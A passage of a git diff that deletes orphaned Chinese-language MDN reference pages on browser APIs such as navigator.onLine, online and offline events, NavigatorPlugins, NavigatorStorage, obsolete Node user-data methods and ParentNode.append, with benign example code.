-  alert('offline');
-}
-
- -

如果浏览器不支持 navigator.onLine,则上面的示例将始终显示为 false / undefined

- -

要查看网络状态的变化,请使用 addEventListener  侦听 window.onlinewindow.offline 事件,如以下示例所示:

- -
window.addEventListener("offline", function(e) {alert("offline");})
-
-window.addEventListener("online", function(e) {alert("online");})
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#dom-navigator-online", "navigator.onLine")}}{{Spec2("HTML WHATWG")}}Initial definition
- -

浏览器兼容性

- -

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

- -

{{Compat("api.NavigatorOnLine.onLine")}}

- -

备注

- -

See Online/Offline Events‎ for a more detailed description of this property as well as new offline-related features introduced in Firefox 3.

- -

查看更多

- - diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html deleted file mode 100644 index 8b873aad6c..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: 在线和离线事件 -slug: orphaned/Web/API/NavigatorOnLine/Online_and_offline_events -tags: - - AJAX - - DOM - - HTML5 - - Web 开发 - - 离线 web 应用 -translation_of: Web/API/NavigatorOnLine/Online_and_offline_events -original_slug: Web/API/NavigatorOnLine/Online_and_offline_events ---- -

部分浏览器根据 WHATWG Web Applications 1.0 规范 实现了Online/Offline 事件

- -

概述

- -

为了构建一个支持离线的 web 应用,你需要知道你的应用何时真正处于离线状态。同时,你还需要知道应用何时重新回到了「在线」状态。实际上,我们可以把需求分解成如下内容:

- -
    -
  1. 你需要知道用户何时回到在线状态,这样你就可以与服务器重新同步。
  2. -
  3. 你需要知道用户何时处于离线状态,这样你就可以将对服务器的请求放入队列中以便稍后使用。
  4. -
- -

这便是在线/离线事件所要处理的过程。

- -

你的 web 应用可能需要使得某个特定的文档在离线资源缓存中得到维护。 你可以在 Firefox 中的离线资源 这篇文章中了解到更多内容。

- -

API

- - - -

navigator.onLine 是一个值为 true/false  (true 表示在线, false 表示离线) 的属性。当用户通过选择对应的菜单项 (Firefox 中为 文件 -> 离线工作) 切换到「离线模式」时,这个值就会被更新。

- -

此外,当浏览器长时间无法连接到网络时,该值也会被更新。根据如下规范:

- -
由于用户点击一个链接或是脚本请求一个远程页面(或者类似的操作失败了)从而导致户代理无法访问网络时, navigator.onLine 属性返回 false ...
- -

在 Firefox 2 中,当在浏览器的离线模式中来回切换时会更新该属性。  Windows, Linux, 和 OS X 上的 Firefox 41 会在操作系统报告网络连接变化时更新该属性。

- -

该属性存在于旧版本的 Firefox 与 Internet Explorer (规范就是以这些旧有实现为基础),因此你现在就可以使用该属性。Firefox 2实现了网络状态自动检测。

- -

「online」与「offline」 事件

- -

Firefox 3 引入了两个新事件:「online」与「offline」。当浏览器从在线与离线状态中切换时,这两个事件会在页面的 <body> 上触发。此外,该事件会从 document.body 冒泡到 document 上,最后到达 window。两个事件都无法被取消(你无法阻止用户进入在线或离线状态)。

- -

你可以使用几种熟悉的方式来注册事件:

- - - -

示例

- -

运行这个简单的例子来验证事件。

- -

这是 JavaScript 部分的代码:

- -
window.addEventListener('load', function() {
-  var status = document.getElementById("status");
-  var log = document.getElementById("log");
-
-  function updateOnlineStatus(event) {
-    var condition = navigator.onLine ? "online" : "offline";
-
-    status.className = condition;
-    status.innerHTML = condition.toUpperCase();
-
-    log.insertAdjacentHTML("beforeend", "Event: " + event.type + "; Status: " + condition);
-  }
-
-  window.addEventListener('online',  updateOnlineStatus);
-  window.addEventListener('offline', updateOnlineStatus);
-});
- -

再加上一点儿 CSS

- -
#status {
-  position: fixed;
-  width: 100%;
-  font: bold 1em sans-serif;
-  color: #FFF;
-  padding: 0.5em;
-}
-
-#log {
-  padding: 2.5em 0.5em 0.5em;
-  font: 1em sans-serif;
-}
-
-.online {
-  background: green;
-}
-
-.offline {
-  background: red;
-}
-
- -

对应的 HTMLXXX When mochitests for this are created, point to those instead and update this example -nickolay

- -
<div id="status"></div>
-<div id="log"></div>
-<p>This is a test</p>
-
- -

注意

- -

如果浏览器没有实现该 API,你可以使用其他方式来检测是否离线,包括 AppCache 错误事件 和 XMLHttpRequest 的响应

- -

参考

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/index.html deleted file mode 100644 index 3b0afd6396..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: NavigatorPlugins -slug: orphaned/Web/API/NavigatorPlugins -translation_of: Web/API/NavigatorPlugins -original_slug: Web/API/NavigatorPlugins ---- -

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

- -

The NavigatorPlugins interface contains methods and properties related to the plugins installed in the browser.

- -

There is no object of type NavigatorPlugins, but other interfaces, like {{domxref("Navigator")}}, implement it.

- -

Properties

- -
-
{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}
-
Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.
-
{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}
-
Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.
-
- -

Methods

- -

The NavigatorPlugins interface doesn't inherit any method.

- -
-
{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}
-
Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.
-
- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html deleted file mode 100644 index 746b108c8e..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: NavigatorPlugins.javaEnabled -slug: orphaned/Web/API/NavigatorPlugins/javaEnabled -translation_of: Web/API/NavigatorPlugins/javaEnabled -original_slug: Web/API/NavigatorPlugins/javaEnabled ---- -

{{ APIRef("HTML DOM") }}

- -

概述

- -

该方法用来表明当前浏览器是否激活了Java.

- -

语法

- -
result = window.navigator.javaEnabled()
-
- -

例子

- -
if (window.navigator.javaEnabled()) {
-   // 浏览器中Java可用
-}
-
- -

备注

- -

该方法的返回值是用来表明浏览器的当前配置文件是否允许使用Java的, 而不是表明浏览器是否支持Java(安装有Java插件).

- -

规范

- -

{{ DOM0() }}

diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html deleted file mode 100644 index 5b199ae666..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: NavigatorPlugins.mimeTypes -slug: orphaned/Web/API/NavigatorPlugins/mimeTypes -translation_of: Web/API/NavigatorPlugins/mimeTypes -original_slug: Web/API/NavigatorPlugins/mimeTypes ---- -
{{ ApiRef("HTML DOM") }}
- -
 
- -

概述

- -

返回一个{{domxref("MimeTypeArray")}}对象,其中包含可被当前浏览器识别的{{domxref("MimeType")}}对象的列表。

- -

语法

- -
mimeTypes = navigator.mimeTypes;
-
- -

mimeTypes 是一个 MimeTypeArray 对象,其中含有 length 属性、item(index) 和 namedItem(name) 方法。

- -

示例

- -
function isJavaPresent() {
-  return 'application/x-java-applet' in navigator.mimeTypes;
-}
-
-function getJavaPluginDescription() {
-  var mimetype = navigator.mimeTypes['application/x-java-applet'];
-  if (mimetype === undefined) {
-    // no Java plugin present
-    return undefined;
-  }
-  return mimetype.enabledPlugin.description;
-}
-
- -

Specification

- -

mimeTypes 并未包含在任何规范中。

diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html deleted file mode 100644 index a93bb6741c..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: NavigatorPlugins.plugins -slug: orphaned/Web/API/NavigatorPlugins/plugins -tags: - - API - - DOM - - Navigator - - NavigatorPlugins - - Reference -translation_of: Web/API/NavigatorPlugins/plugins -original_slug: Web/API/NavigatorPlugins/plugins ---- -

{{APIRef("HTML DOM")}}

- -

返回一个 {{ domxref("PluginArray") }} 类型的对象, 包含了当前所使用的浏览器安装的所有插件。

- -
-

在Firefox 29及之后的版本,出于隐私考虑,navigator.plugins 数组的枚举可能会被限制。如果一定要检查是否存在某个浏览器插件,应该用准确的插件名字查询 navigator.plugins  或 {{DOMxRef("navigator.mimeTypes")}} ,而不是枚举 navigator.plugins  数组,再对比每个插件的名字。 这项有关隐私的改变不会禁用任何插件,只是将插件名字从枚举中隐藏了而已。

-
- -

语法

- -
plugins = navigator.plugins;
-
- -

plugins 是一个 {{DOMxRef("PluginArray")}} 对象,通过名字或项目列表获取 {{DOMxRef("Plugin")}} 对象。

- -

返回值不是一个普通的JavaScript数组,但是它也有 length 属性,也可以使用plugins[index]来获取到每个元素的值, 例如(plugins{{ mediawiki.external("2") }}), 效果和使用 item(index) 以及 namedItem("name") 是一样的.

- -

示例

- -

下述示例中的函数返回Shockwave Flash插件的版本。

- -
function getFlashVersion() {
-  var flash = navigator.plugins.namedItem('Shockwave Flash');
-  if (typeof flash != 'object') {
-    // flash is not present
-    return undefined;
-  }
-  if(flash.version){
-    return flash.version;
-  } else {
-    //No version property (e.g. in Chrome)
-    return flash.description.replace(/Shockwave Flash /,"");
-  }
-}
-
- -

下述示例可显示已安装插件的信息。

- -
var pluginsLength = navigator.plugins.length;
-
-document.body.innerHTML = pluginsLength + " Plugin(s)<br>"
-  + '<table id="pluginTable"><thead>'
-  +'<tr><th>Name</th><th>Filename</th><th>description</th><th>version</th></tr>'
-  +'</thead><tbody></tbody></table>';
-
-var table = document.getElementById('pluginTable');
-
-for(var i = 0; i < pluginsLength; i++) {
-  let newRow = table.insertRow();
-  newRow.insertCell().textContent = navigator.plugins[i].name;
-  newRow.insertCell().textContent = navigator.plugins[i].filename;
-  newRow.insertCell().textContent = navigator.plugins[i].description;
-  newRow.insertCell().textContent = navigator.plugins[i].version?navigator.plugins[i].version:"";
-}
-
- -

备注

- -

{{DOMxRef("Plugin")}}对象提供一个小型接口,用于获取浏览器中安装的各种插件的信息。你也可以进入 about:plugins 页面,来查看浏览器上安装的插件(Chrome已移除该入口)。

- -

规范

- - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('HTML WHATWG', '#dom-navigator-plugins', 'NavigatorPlugins.plugins')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

浏览器兼容性

- -

{{Compat("api.NavigatorPlugins.plugins")}}

- -

In addition to listing each plugin as a pseudo-array by zero-indexed numeric properties, Firefox provides properties that are the plugin name directly on the PluginArray object.

diff --git "a/files/zh-cn/orphaned/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" "b/files/zh-cn/orphaned/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" deleted file mode 100644 index 7033c46107..0000000000 --- "a/files/zh-cn/orphaned/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 测试滕盖 -slug: orphaned/Web/API/NavigatorPlugins/测试滕盖 -original_slug: Web/API/NavigatorPlugins/测试滕盖 ---- -
{{ ApiRef("HTML DOM") }}
- -
 
- -

Summary

- -

Returns a {{domxref("MimeTypeArray")}} object, which contains a list of {{domxref("MimeType")}} objects representing the MIME types recognized by the browser.

- -

Syntax

- -
mimeTypes = navigator.mimeTypes;
-
- -

mimeTypes is a MimeTypeArray object which has a length property as well as item(index) and namedItem(name) methods.

- -

Example

- -
function isJavaPresent() {
-  return 'application/x-java-applet' in navigator.mimeTypes;
-}
-
-function getJavaPluginDescription() {
-  var mimetype = navigator.mimeTypes['application/x-java-applet'];
-  if (mimetype === undefined) {
-    // no Java plugin present
-    return undefined;
-  }
-  return mimetype.enabledPlugin.description;
-}
-
- -

Specification

- -

This is not part of any specification.

diff --git a/files/zh-cn/orphaned/web/api/navigatorstorage/index.html b/files/zh-cn/orphaned/web/api/navigatorstorage/index.html deleted file mode 100644 index bc0ef8ba92..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorstorage/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: NavigatorStorage -slug: orphaned/Web/API/NavigatorStorage -tags: - - API - - Interface - - Mixin - - Navigator - - NavigatorStorage - - NeedsTranslation - - Reference - - Secure context - - Storage - - Storage Standard - - TopicStub - - WorkerNavigator -translation_of: Web/API/NavigatorStorage -original_slug: Web/API/NavigatorStorage ---- -

{{securecontext_header}}{{APIRef("Storage")}}

- -

The NavigatorStorage {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} and {{domxref("WorkerNavigator")}} interfaces the {{domxref("Navigator.storage")}} property, which provides access to the {{domxref("StorageManager")}} singleton used for controlling the persistence of data stores as well as obtaining information

- -

{{AvailableInWorkers}}

- -

There are many APIs which provide ways for Web content to store data on a user's computer, including {{Glossary("cookies")}}, the Web Storage API ({{domxref("Window.localStorage")}} and {{domxref("Window.sessionStorage")}}), and IndexedDB. The Storage Standard is designed to serve as a common basis for the implementation of all of those APIs and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.

- -

Properties

- -
-
{{domxref("NavigatorStorage.storage", "storage")}} {{readonlyinline}}{{securecontext_inline}}
-
Returns the {{domxref("StorageManager")}} singleton object which is used to access the Storage Manager. Through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data.
-
- -

Methods

- -

The NavigatorStorage mixin has no methods.

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Storage')}}{{Spec2('Storage')}}Initial definition.
- -

Browser compatibility

- - - -

{{Compat("api.NavigatorStorage")}}

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html b/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html deleted file mode 100644 index bfd2cc93d6..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: NavigatorStorage.storage -slug: orphaned/Web/API/NavigatorStorage/storage -tags: - - API - - Navigator - - WorkerNavigator - - 存储 - - 安全上下文 - - 属性 -translation_of: Web/API/NavigatorStorage/storage -original_slug: Web/API/NavigatorStorage/storage ---- -

{{securecontext_header}}{{APIRef("Storage")}}

- -

 NavigatorStorage.storage 是一个只读属性,返回单例 {{domxref("StorageManager")}} 对象,用于访问当前网站或应用程序的浏览器整体存储功能的。 通过返回的对象,您可以检查和配置数据存储的持久性,并了解您的浏览器使用的大约多少空间用于本地存储。

- -

语法

- -
var storageManager = navigator.storage;
-
- -

返回值

- -

返回 {{domxref("StorageManager")}} 您可以用来维护数据的持久化存储,以及大致确定有多少空间来存储数据。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Storage', '#navigatorstorage', 'navigator.storage')}}{{Spec2('Storage')}}Initial definition.
- -

浏览器兼容性

- -
-

{{Compat("api.NavigatorStorage.storage")}}

-
- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/node/getuserdata/index.html b/files/zh-cn/orphaned/web/api/node/getuserdata/index.html deleted file mode 100644 index 74dbaf067e..0000000000 --- a/files/zh-cn/orphaned/web/api/node/getuserdata/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Node.getUserData() -slug: orphaned/Web/API/Node/getUserData -translation_of: Web/API/Node/getUserData -original_slug: Web/API/Node/getUserData ---- -

{{ APIRef }}{{ obsolete_header() }}

-

The Node.getUserData() method returns any user {{domxref("DOMUserData")}} set previously on the given node by {{domxref("Node.setUserData()")}}.

-
-

The Node.setUserData and {{domxref("Node.getUserData")}} methods are no longer available from Web content. {{domxref("Element.dataset")}} or WeakMap can be used instead.

-
-

Syntax

-
userData = someNode.getUserData(userKey);
-

Parameters

- -

Example

-
var d = document.setUserData('key', 15, null);
-alert(document.getUserData('key')); // 15
-

Specifications

- - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Removed from the specification.
{{SpecName('DOM3 Core', 'core.html#Node3-getUserData', 'Node.getUserData()')}}{{Spec2('DOM3 Core')}}Initial definition.
-

Browser compatibility

-

{{CompatibilityTable}}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.
- Removed in {{CompatGeckoDesktop("22.0")}} [1]
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}Supported from {{CompatGeckoMobile("1.0")}} to {{CompatGeckoMobile("21.0")}}.
- Removed in {{CompatGeckoMobile("22.0")}} [1]
{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
-
-

[1] The method is still available from chrome scripts.

-

See also

- diff --git a/files/zh-cn/orphaned/web/api/node/setuserdata/index.html b/files/zh-cn/orphaned/web/api/node/setuserdata/index.html deleted file mode 100644 index 361bfcca25..0000000000 --- a/files/zh-cn/orphaned/web/api/node/setuserdata/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Node.setUserData() -slug: orphaned/Web/API/Node/setUserData -translation_of: Web/API/Node/setUserData -original_slug: Web/API/Node/setUserData ---- -

{{ APIRef }}{{ obsolete_header() }}

-

The Node.setUserData() method allows a user to attach (or remove) data to an element, without needing to modify the DOM. Note that such data will not be preserved when imported via {{domxref("Node.importNode")}}, as with {{domxref("Node.cloneNode()")}} and {{domxref("Node.renameNode()")}} operations (though {{domxref("Node.adoptNode")}} does preserve the information), and equality tests in {{domxref("Node.isEqualNode()")}} do not consider user data in making the assessment.

-

This method offers the convenience of associating data with specific nodes without needing to alter the structure of a document and in a standard fashion, but it also means that extra steps may need to be taken if one wishes to serialize the information or include the information upon clone, import, or rename operations.

-
-

The Node.getUserData and {{domxref("Node.setUserData")}} methods are no longer available from Web content. {{domxref("Element.dataset")}} or WeakMap can be used instead.

-
-

Syntax

-
prevUserData = someNode.setUserData(userKey, userData, handler);
-

Parameters

- -

Example

-
var d = document.implementation.createDocument('', 'test', null);
-d.documentElement.setUserData('key', 15, {handle:function (o, k, d, s, ds) {alert(o+'::'+k+'::'+d+'::'+s+'::'+ds)}}); // 2::key::15::[object Element]::[object Element]
-alert(d.documentElement.getUserData('key')); // 15
-var e = document.importNode(d.documentElement, true); // causes handler to be called
-alert(e.getUserData('key')); // null since user data is not copied
-
-

Specifications

- - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Removed from the specification.
{{SpecName('DOM3 Core', 'core.html#Node3-setUserData', 'Node.setUserData()')}}{{Spec2('DOM3 Core')}}Initial definition.
-

Browser compatibility

-

{{CompatibilityTable}}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.
- Removed in {{CompatGeckoDesktop("22.0")}} [1]
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}Supported from {{CompatGeckoMobile("1.0")}} to {{CompatGeckoMobile("21.0")}}.
- Removed in {{CompatGeckoMobile("22.0")}} [1]
{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
-
-

[1] The method is still available from chrome scripts.

-

See also

- diff --git a/files/zh-cn/orphaned/web/api/notation/index.html b/files/zh-cn/orphaned/web/api/notation/index.html deleted file mode 100644 index 04e36231f4..0000000000 --- a/files/zh-cn/orphaned/web/api/notation/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Notation -slug: orphaned/Web/API/Notation -tags: - - API - - Obsolete - - Reference -translation_of: Web/API/Notation -original_slug: Web/API/Notation ---- -
{{APIRef("DOM")}}{{draft}}{{obsolete_header}}
- -

表示DTD表示(只读)。可以声明未解析实体的格式或正式声明文档的处理指令目标。从 node 继承方法和属性。它的 nodeName 是表示法名称。没有父节点。

- -

属性

- -
-
{{domxref("Notation.publicId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Notation.systemId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-5431D1B9", "Notation")}}{{Spec2("DOM3 Core")}}No change
{{SpecName("DOM2 Core", "core.html#ID-5431D1B9", "Notation")}}{{Spec2("DOM2 Core")}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-5431D1B9', 'Notation')}}{{Spec2('DOM1')}}Initial definition
- -

浏览器兼容性

- -

{{Compat("api.Notation")}}

diff --git a/files/zh-cn/orphaned/web/api/notification/sound/index.html b/files/zh-cn/orphaned/web/api/notification/sound/index.html deleted file mode 100644 index 13577dd621..0000000000 --- a/files/zh-cn/orphaned/web/api/notification/sound/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Notification.sound -slug: orphaned/Web/API/notification/sound -translation_of: Web/API/notification/sound -original_slug: Web/API/notification/sound ---- -

{{APIRef("Web Notifications")}}

- -
-

Note: 这个属性并没有完全被一些浏览器支持.

-
- -

 sound 是 {{domxref("Notification")}}的只读属性,interface specifies the URL of an audio file to be played when the notification fires. This is specified in the sound option of the {{domxref("Notification.Notification","Notification()")}} constructor.

- -

Syntax

- -
var sound = Notification.sound;
-
- -

Value

- -

A {{domxref("USVString")}}.

- -

Examples

- -

The following snippet is intended to fire a sound along with the notification; a simple options object is created, then the notification is fired using the Notification() constructor.

- -
var options = {
-  body: 'Do you like my body?',
-  sound: 'audio/alert.mp3'
-}
-
-var n = new Notification('Test notification',options);
-
-n.sound // should return 'audio/alert.mp3'
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-sound','sound')}}{{Spec2('Web Notifications')}}Living standard
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo() }} -

{{ CompatNo() }}

-
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }} -

{{ CompatNo() }}

-
-
- -

Firefox OS notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

- -

Chrome notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

- -

Safari notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html b/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html deleted file mode 100644 index be94b576e6..0000000000 --- a/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: OscillatorNode.stop() -slug: orphaned/Web/API/OscillatorNode/stop -translation_of: Web/API/OscillatorNode/stop -original_slug: Web/API/OscillatorNode/stop ---- -

{{ APIRef("Web Audio API") }}

- -
-

这个 stop方法 {{ domxref("OscillatorNode") }} 接口在指定时间内停止播放,它的参数是可选的,默认情况下是0.

-
- -

语法

- -
oscillator.stop(when); // stop playing oscillator at when
- -

参数

- -
-
when
-
An optional double representing the audio context time when the oscillator should stop. If a value is not included, it defaults to 0. If the time is equal to or before the current audio context time, the oscillator will stop playing immediately.
-
- -

例如

- -

下面的示例显示一个基本用法{{ domxref("AudioContext") }}创建子节点。一个应用的例子,看看我们的演示( Violent Theremin demo (see app.js for relevant code).

- -
// create web audio api context
-var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-
-// create Oscillator node
-var oscillator = audioCtx.createOscillator();
-oscillator.connect(audioCtx.destination);
-
-oscillator.start();
-
-oscillator.stop(audioCtx.currentTime + 2); // stop 2 seconds after the current time
-
- -

规定

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-OscillatorNode-stop-void-double-when', 'stop')}}{{Spec2('Web Audio API')}} 
- -

浏览器的兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23 [1]{{CompatNo}}15 {{property_prefix("webkit")}}
- 22 (unprefixed)
6 {{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatVersionUnknown}}28 {{property_prefix("webkit")}}25 [1]1.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
-
- -

[1] The parameter wasn't optional until Firefox 30.

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/append/index.html b/files/zh-cn/orphaned/web/api/parentnode/append/index.html deleted file mode 100644 index 6f06f7a420..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/append/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: ParentNode.append() -slug: orphaned/Web/API/ParentNode/append -tags: - - API - - DOM - - Node - - ParentNode - - Reference -translation_of: Web/API/ParentNode/append -original_slug: Web/API/ParentNode/append ---- -
{{APIRef("DOM")}}
- -
 ParentNode.append 方法在 ParentNode的最后一个子节点之后插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。
- -
被插入的 {{domxref("DOMString")}} 对象等价为 {{domxref("Text")}} 节点。
- -
- -
与 {{domxref("Node.appendChild()")}} 的差异:
- -
- - - -

语法

- -
[Throws, Unscopable]
-void ParentNode.append((Node or DOMString)... nodes);
-
- -

参数

- -
-
nodes
-
一组要插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。
-
- -

异常

- - - -

示例

- -

插入一个元素节点

- -
var parent = document.createElement("div");
-var p = document.createElement("p");
-parent.append(p);
-
-console.log(parent.childNodes); // NodeList [ <p> ]
-
- -

插入文本

- -
var parent = document.createElement("div");
-parent.append("Some text");
-
-console.log(parent.textContent); // "Some text"
- -

插入一个节点,同时插入一些文本

- -
var parent = document.createElement("div");
-var p = document.createElement("p");
-parent.append("Some text", p);
-
-console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
- -

ParentNode.append() 方法在 with 语句中不生效

- -

为了保证向后兼容,append 方法在 with 语句中会被特殊处理,详情请看 {{jsxref("Symbol.unscopables")}}。

- -
var parent = document.createElement("div");
-
-with(parent) {
-  append("foo");
-}
-// ReferenceError: append is not defined 
- -

Polyfill

- -

下面的 Polyfill 只支持到 IE 9  及以上:

- -
// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
-(function (arr) {
-  arr.forEach(function (item) {
-    if (item.hasOwnProperty('append')) {
-      return;
-    }
-    Object.defineProperty(item, 'append', {
-      configurable: true,
-      enumerable: true,
-      writable: true,
-      value: function append() {
-        var argArr = Array.prototype.slice.call(arguments),
-          docFrag = document.createDocumentFragment();
-
-        argArr.forEach(function (argItem) {
-          var isNode = argItem instanceof Node;
-          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
-        });
-
-        this.appendChild(docFrag);
-      }
-    });
-  });
-})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容

- - - -

{{Compat("api.ParentNode.append")}}

- -

相关链接

